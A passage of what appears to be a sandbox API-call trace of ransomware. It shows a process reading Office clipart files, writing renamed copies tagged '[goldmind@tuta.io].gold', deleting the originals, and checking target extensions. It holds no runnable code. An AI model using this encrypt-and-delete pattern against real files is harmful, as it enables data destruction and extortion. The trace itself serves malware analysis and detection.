(in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xadc, lpOverlapped=0x0) returned 1 [0091.084] WriteFile (in: hFile=0x3b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xae0, lpOverlapped=0x0) returned 1 [0091.085] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0091.085] WriteFile (in: hFile=0x3b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0091.085] SetEndOfFile (hFile=0x3b0) returned 1 [0091.085] CloseHandle (hObject=0x3b0) returned 1 [0091.085] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.085] SetEndOfFile (hFile=0x394) returned 1 [0091.088] CloseHandle (hObject=0x394) returned 1 [0091.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0091.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0091.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0091.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0091.089] lstrlenW (lpString=".doc") returned 4 [0091.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.089] lstrlenW (lpString=".docx") returned 5 [0091.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0091.089] lstrlenW (lpString=".pdf") returned 4 [0091.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.089] lstrlenW (lpString=".xls") returned 4 [0091.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.089] lstrlenW (lpString=".xlsx") returned 5 [0091.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0091.089] lstrlenW (lpString=".ppt") returned 4 [0091.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0091.089] lstrlenW (lpString=".zip") returned 4 [0091.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.089] lstrlenW (lpString=".rar") returned 4 [0091.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.089] lstrlenW (lpString=".bz2") returned 4 [0091.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.089] lstrlenW (lpString=".7z") returned 3 [0091.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0091.089] lstrlenW (lpString=".dbf") returned 4 [0091.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0091.089] lstrlenW (lpString=".1cd") returned 4 [0091.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0091.089] lstrlenW (lpString=".jpg") returned 4 [0091.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0091.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0091.089] lstrlenW (lpString=".doc") returned 4 [0091.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.089] lstrlenW (lpString=".docx") returned 5 [0091.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0091.089] lstrlenW (lpString=".pdf") returned 4 [0091.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.089] lstrlenW (lpString=".xls") returned 4 [0091.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.089] lstrlenW (lpString=".xlsx") returned 5 [0091.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0091.089] lstrlenW (lpString=".ppt") returned 4 [0091.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0091.090] lstrlenW (lpString=".zip") returned 4 [0091.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.090] lstrlenW (lpString=".rar") returned 4 [0091.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.090] lstrlenW (lpString=".bz2") returned 4 [0091.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.090] lstrlenW (lpString=".7z") returned 3 [0091.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0091.090] lstrlenW (lpString=".dbf") returned 4 [0091.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0091.090] lstrlenW (lpString=".1cd") returned 4 [0091.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0091.090] lstrlenW (lpString=".jpg") returned 4 [0091.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.090] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0091.090] lstrlenW (lpString="DD01146_.WMF") returned 12 [0091.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0091.091] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2796) returned 1 [0091.091] CloseHandle (hObject=0x394) returned 1 [0091.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x20 [0091.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0091.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0091.091] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.091] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0094.235] GetLastError () returned 0x0 [0094.235] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xaec, lpOverlapped=0x0) returned 1 [0094.267] WriteFile (in: hFile=0x19c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xaf0, lpOverlapped=0x0) returned 1 [0094.268] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0094.268] WriteFile (in: hFile=0x19c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.278] SetEndOfFile (hFile=0x19c) returned 1 [0094.278] CloseHandle (hObject=0x19c) returned 1 [0094.278] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.278] SetEndOfFile (hFile=0x394) returned 1 [0094.279] CloseHandle (hObject=0x394) returned 1 [0094.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0094.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0094.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0094.281] lstrlenW (lpString=".doc") returned 4 [0094.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.281] lstrlenW (lpString=".docx") returned 5 [0094.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.281] lstrlenW (lpString=".pdf") returned 4 [0094.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.281] lstrlenW (lpString=".xls") returned 4 [0094.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.281] lstrlenW (lpString=".xlsx") returned 5 [0094.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.281] lstrlenW (lpString=".ppt") returned 4 [0094.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0094.281] lstrlenW (lpString=".zip") returned 4 [0094.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.281] lstrlenW (lpString=".rar") returned 4 [0094.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.281] lstrlenW (lpString=".bz2") returned 4 [0094.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.281] lstrlenW (lpString=".7z") returned 3 [0094.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0094.281] lstrlenW (lpString=".dbf") returned 4 [0094.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0094.281] lstrlenW (lpString=".1cd") returned 4 [0094.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0094.281] lstrlenW (lpString=".jpg") returned 4 [0094.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0094.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0094.282] lstrlenW (lpString=".doc") returned 4 [0094.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.282] lstrlenW (lpString=".docx") returned 5 [0094.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.282] lstrlenW (lpString=".pdf") returned 4 [0094.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.282] lstrlenW (lpString=".xls") returned 4 [0094.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.282] lstrlenW (lpString=".xlsx") returned 5 [0094.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.282] lstrlenW (lpString=".ppt") returned 4 [0094.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0094.282] lstrlenW (lpString=".zip") returned 4 [0094.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.282] lstrlenW (lpString=".rar") returned 4 [0094.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.282] lstrlenW (lpString=".bz2") returned 4 [0094.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.282] lstrlenW (lpString=".7z") returned 3 [0094.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0094.282] lstrlenW (lpString=".dbf") returned 4 [0094.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0094.282] lstrlenW (lpString=".1cd") returned 4 [0094.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0094.282] lstrlenW (lpString=".jpg") returned 4 [0094.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.282] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.282] lstrlenW (lpString="DD01166_.WMF") returned 12 [0094.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0094.346] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2080) returned 1 [0094.347] CloseHandle (hObject=0x190) returned 1 [0094.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x20 [0094.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0094.396] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.396] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0094.397] GetLastError () returned 0x0 [0094.397] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x820, lpOverlapped=0x0) returned 1 [0094.398] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x830, lpOverlapped=0x0) returned 1 [0094.398] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0094.399] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.399] SetEndOfFile (hFile=0x3a4) returned 1 [0094.399] CloseHandle (hObject=0x3a4) returned 1 [0094.399] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.399] SetEndOfFile (hFile=0x190) returned 1 [0094.402] CloseHandle (hObject=0x190) returned 1 [0094.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0094.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0094.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0094.403] lstrlenW (lpString=".doc") returned 4 [0094.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.403] lstrlenW (lpString=".docx") returned 5 [0094.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.403] lstrlenW (lpString=".pdf") returned 4 [0094.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.403] lstrlenW (lpString=".xls") returned 4 [0094.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.403] lstrlenW (lpString=".xlsx") returned 5 [0094.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.403] lstrlenW (lpString=".ppt") returned 4 [0094.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0094.403] lstrlenW (lpString=".zip") returned 4 [0094.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.403] lstrlenW (lpString=".rar") returned 4 [0094.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.403] lstrlenW (lpString=".bz2") returned 4 [0094.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.403] lstrlenW (lpString=".7z") returned 3 [0094.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0094.403] lstrlenW (lpString=".dbf") returned 4 [0094.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0094.404] lstrlenW (lpString=".1cd") returned 4 [0094.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0094.404] lstrlenW (lpString=".jpg") returned 4 [0094.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0094.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0094.404] lstrlenW (lpString=".doc") returned 4 [0094.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.404] lstrlenW (lpString=".docx") returned 5 [0094.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.404] lstrlenW (lpString=".pdf") returned 4 [0094.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.404] lstrlenW (lpString=".xls") returned 4 [0094.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.404] lstrlenW (lpString=".xlsx") returned 5 [0094.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.404] lstrlenW (lpString=".ppt") returned 4 [0094.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0094.404] lstrlenW (lpString=".zip") returned 4 [0094.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.404] lstrlenW (lpString=".rar") returned 4 [0094.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.404] lstrlenW (lpString=".bz2") returned 4 [0094.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.404] lstrlenW (lpString=".7z") returned 3 [0094.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0094.404] lstrlenW (lpString=".dbf") returned 4 [0094.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0094.404] lstrlenW (lpString=".1cd") returned 4 [0094.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0094.404] lstrlenW (lpString=".jpg") returned 4 [0094.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.404] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.404] lstrlenW (lpString="DD01168_.WMF") returned 12 [0094.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0094.405] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2004) returned 1 [0094.405] CloseHandle (hObject=0x190) returned 1 [0094.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x20 [0094.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0094.405] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.406] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0094.406] GetLastError () returned 0x0 [0094.406] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x7d4, lpOverlapped=0x0) returned 1 [0094.408] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x7e0, lpOverlapped=0x0) returned 1 [0094.409] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0094.409] WriteFile (in: 